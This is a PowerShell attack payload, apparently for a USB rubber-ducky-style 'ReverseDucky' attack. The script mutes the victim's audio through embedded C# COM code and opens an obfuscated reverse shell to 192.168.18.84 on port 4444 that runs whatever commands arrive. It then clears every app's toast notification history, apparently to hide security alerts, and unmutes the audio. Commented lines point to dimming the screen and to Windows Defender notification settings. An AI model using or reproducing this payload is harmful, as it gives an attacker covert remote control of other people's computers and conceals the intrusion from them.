winRM-On-You

Add-Type -TypeDefinition @'
using System.Runtime.InteropServices;

[Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IAudioEndpointVolume {
  // f(), g(), ... are unused COM method slots. Define these if you care
  int f(); int g(); int h(); int i();
  int SetMasterVolumeLevelScalar(float fLevel, System.Guid pguidEventContext);
  int j();
  int GetMasterVolumeLevelScalar(out float pfLevel);
  int k(); int l(); int m(); int n();
  int SetMute([MarshalAs(UnmanagedType.Bool)] bool bMute, System.Guid pguidEventContext);
  int GetMute(out bool pbMute);
}
[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IMMDevice {
  int Activate(ref System.Guid id, int clsCtx, int activationParams, out IAudioEndpointVolume aev);
}
[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IMMDeviceEnumerator {
  int f(); // Unused
  int GetDefaultAudioEndpoint(int dataFlow, int role, out IMMDevice endpoint);
}
[ComImport, Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")] class MMDeviceEnumeratorComObject { }

public class Audio {
  static IAudioEndpointVolume Vol() {
    var enumerator = new MMDeviceEnumeratorComObject() as IMMDeviceEnumerator;
    IMMDevice dev = null;
    Marshal.ThrowExceptionForHR(enumerator.GetDefaultAudioEndpoint(/*eRender*/ 0, /*eMultimedia*/ 1, out dev));
    IAudioEndpointVolume epv = null;
    var epvid = typeof(IAudioEndpointVolume).GUID;
    Marshal.ThrowExceptionForHR(dev.Activate(ref epvid, /*CLSCTX_ALL*/ 23, 0, out epv));
    return epv;
  }
  public static float Volume {
    get {float v = -1; Marshal.ThrowExceptionForHR(Vol().GetMasterVolumeLevelScalar(out v)); return v;}
    set {Marshal.ThrowExceptionForHR(Vol().SetMasterVolumeLevelScalar(value, System.Guid.Empty));}
  }
  public static bool Mute {
    get { bool mute; Marshal.ThrowExceptionForHR(Vol().GetMute(out mute)); return mute; }
    set { Marshal.ThrowExceptionForHR(Vol().SetMute(value, System.Guid.Empty)); }
  }
}
'@

[Audio]::Mute = $true
#$brightness = Get-Ciminstance -Namespace root/WMI -ClassName WmiMonitorBrightness | Select -ExpandProperty "CurrentBrightness"
#(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,0)

$I='192.168.18.84';$P=4444;$0LVhbQ=[TyPE]('tExT'+'.enCOD'+'InG');$C=.('New'+'-Obj'+'ect') System.Net.Sockets.TCPClient($I,$P);$S=$C.GetStream();[byte[]]$b=0..65535|&('%'){0};while(($i=$S.Read($b,0,$b.Length))-ne 0){;$d=(&('New'+'-Ob'+'ject') -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$X=(&('ie'+'x') $d 2>&1 | .('Out'+'-St'+'ring'));$Z=$X+'ReverseDucky '+(&('g'+'l'))+'~ ';$sbt=($0lvHBq::ASCII).GetBytes($Z);$S.Write($sbt,0,$sbt.Length);$S.Flush()};$C.Close()

[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null
$notifications = Get-ChildItem HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings | Select-Object Name

for ($index = 0; $index -lt $notifications.Count; $index++) {
    $name = $notifications[$index]
    $split = $name -split "\\"
    $last = $split[$split.Count - 1]
    $last = $last.Substring(0, $last.Length - 1)
    ([Windows.UI.Notifications.ToastNotificationManager]::History).clear($last)
}

[Audio]::Mute = $false
#(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,$brightness)
#Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender.SecurityCenter" -Name "Enabled" -Type DWord -Value 1